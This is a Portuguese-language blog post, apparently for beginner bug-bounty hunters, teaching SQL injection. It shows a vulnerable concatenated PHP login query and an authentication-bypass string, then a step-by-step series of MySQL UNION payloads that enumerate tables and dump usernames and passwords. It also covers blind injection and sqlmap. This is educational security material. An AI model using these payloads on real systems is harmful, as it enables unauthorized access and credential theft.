SQL Injection
É difícil de imaginar uma aplicação que não utilize um banco de dados para cadastrar seus usuários, produtos, enfim, os dados que a aplicação necessita para funcionar. Estes bancos de dados são usados para cadastrar, consultar e editar itens, normalmente através das chamadas queries SQL.
O problema
Os servidores que não se atentarem, podem estar sujeitos à inserção de strings do usuário que tentarão misturar-se com a lógica da query. É disto que trata o SQL injection. Ela é uma falha no servidor (back-end) que executa comandos indevidos no banco de dados.
Considere a query onde "user" e "password" são parâmetros passados pelo request:
"SELECT * FROM users WHERE username='".$_POST['user']."' and password='".$_POST['password']."' "
Quebra-se a expressão ao se inserir uma senha: a' or 1='1
Isto porque a query ficaria assim:
"SELECT * FROM users WHERE username=‘poirot' and password='a' or 1='1' "
Como 1 é igual a 1, a expressão é sempre satisfeita e todos os usuários seriam retornados. Não recomendo, porém, a injeção do código mostrado, pois ele pode causar problemas em bancos de dados com muitos registros e indisponibilizar o serviço.
O SQL injection pode ser usado para realizar uma autenticação sem conhecimento das credenciais, mas também é bastante usado para vazar ou manipular os dados do banco de dados. Em alguns casos, pode até ser usado para a execução de código remoto, quando a sintaxe do SQL permitir a execução de comandos, como no caso do XP_CMDSHELL do MS-SQL.
Teste de vulnerabilidade
Comecemos pelo teste de vulnerabilidade. Tente simplesmente injetar o valor aspas simples. Caso esta string seja concatenada para formar a query, o sistema apresentará um mau funcionamento, pois as aspas ficarão descasadas (em número ímpar). Assim, o pesquisador saberá que ali existe uma potencial vulnerabilidade.
Sugiro, porém, não injetar o payload (é assim que se chama a nossa string) na interface de usuário (nos forms da página). Isto porque algum script poderá tentar sanitizar a string antes de transmitir. O melhor é colocar o payload direto na URL, no caso de GET, ou em uma requisição interceptada pelo proxy, no caso de POST.
Note que para transmitir os payloads é necessário fazer o encode HTML, ou seja, substituir espaços em branco por "+" e o símbolo "#" por "%23". O símbolo "#" é o comentário da query SQL, que instrui o programa a desconsiderar tudo dali para diante.
Procedimentos seguintes
Constatada a potencial vulnerabilidade à injeção, seguimos para a comprovação, onde os seguintes passos poderão ser seguidos:
1) Descobrir o número de colunas usadas na query original, utilizando-se os seguintes payloads até que ele retorne um resultado válido:
1' UNION SELECT 1 #
1' UNION SELECT 1,2 #
1' UNION SELECT 1,2,3 #
1' UNION SELECT 1,2,3,4 #
Estamos fazendo "UNION" para juntar a tabela original com uma segunda que será de interesse do hacker. Precisamos fazer este teste porque a regra é que para realizar um "UNION", as duas tabelas precisam ter o mesmo número de colunas. Vamos supor que com 4 colunas um resultado foi retornado.
2) Descobrir se alguma das colunas possui tipo de dado string, por onde poderemos retornar nossas consultas:
1' UNION SELECT 'a',2,3,4 #
1' UNION SELECT 1,'a',3,4 #
1' UNION SELECT 1,2,'a',4 #
1' UNION SELECT 1,2,3,'a' #
Para continuar, vamos considerar que somente o campo 2 aceitou a string sem retornar erro. Por esta coluna poderemos retornar informações do banco de dados.
3) Podemos consultar a versão do banco de dados:
1' UNION SELECT 1,@@version,3,4 #
4) Para saber o nome do banco de dados em uso:
1' UNION SELECT 1,database(),3,4 #
5) Para listar as tabelas do database:
1' UNION SELECT 1,table_name,3,4 from information_schema.tables where table_schema="nome do database" #
6) Descobrir colunas na tabela:
1' UNION SELECT 1,column_name,3,4 from information_schema.columns where table_schema="nome do database" and table_name="nome da tabela" #
7) E finalmente consultar os valores dos registros:
1' UNION SELECT 1,concat(user,":",password) from "nome da tabela" #
Nesta etapa concatenamos o nome de duas colunas ("user" e "password") para que ambos fossem vazados pela mesma coluna da tabela, pois supusemos que apenas uma aceitava strings. A situação pode ser mais confortável, quando tivermos mais de uma coluna do tipo string.
Casos mais complexos
Mas também pode ser que a situação seja mais complexa, se nenhuma coluna aceitar string. Neste caso, teremos que decompor as letras da string para que eles possam ser enviados em campos numéricos. Uma string pode ser decomposta, letra a letra, utilizando a função "SUBSTR" do SQL e escolhendo o índice desejado. Depois, é preciso converter para o valor numérico, utilizando a função "ASCII".
Mais complicado ainda fica quando nem valores numéricos são retornados. É o blind SQL injection. Ao invés de números, teremos que trabalhar com valores binários, por exemplo, a resposta se a primeira letra da string de usuário é "a". Daí existem três possibilidades para descobrir se a condição é verdadeira ou falsa, que vou apenas citar:
- através de diferenças nas respostas;
- através da introdução de erros condicionais;
- através de delays temporais.
Um detalhe importante é que a sintaxe apresentada corresponde ao MySQL. Caso o banco de dados seja outro, por exemplo MS-SQL, Oracle, Postgres, a sintaxe é ligeiramente diferente. Consulte a sintaxe no capítulo de SQL injection do livro "The Web Application Hacker's Handbook" ou no site Pentest Monkey.
Automação
Explicada a técnica, comunico a boa notícia de que existem ferramentas que automatizam todo o trabalho, como o sqlmap do Kali Linux. No entanto, acho importante que o leitor conheça o conceito que roda por trás destas ferramentas.
Outros tipos de bancos
Apesar do foco deste post ter sido SQL, as técnicas de injeção também podem ser utilizadas em bancos NoSQL, como XPath e LDAP, apenas considerando a sintaxe adequada de cada um.
Gostou do conteúdo? Acompanhe-nos em nosso grupo do Telegram:
Bug Bounty para Iniciante
Comentários
Postar um comentário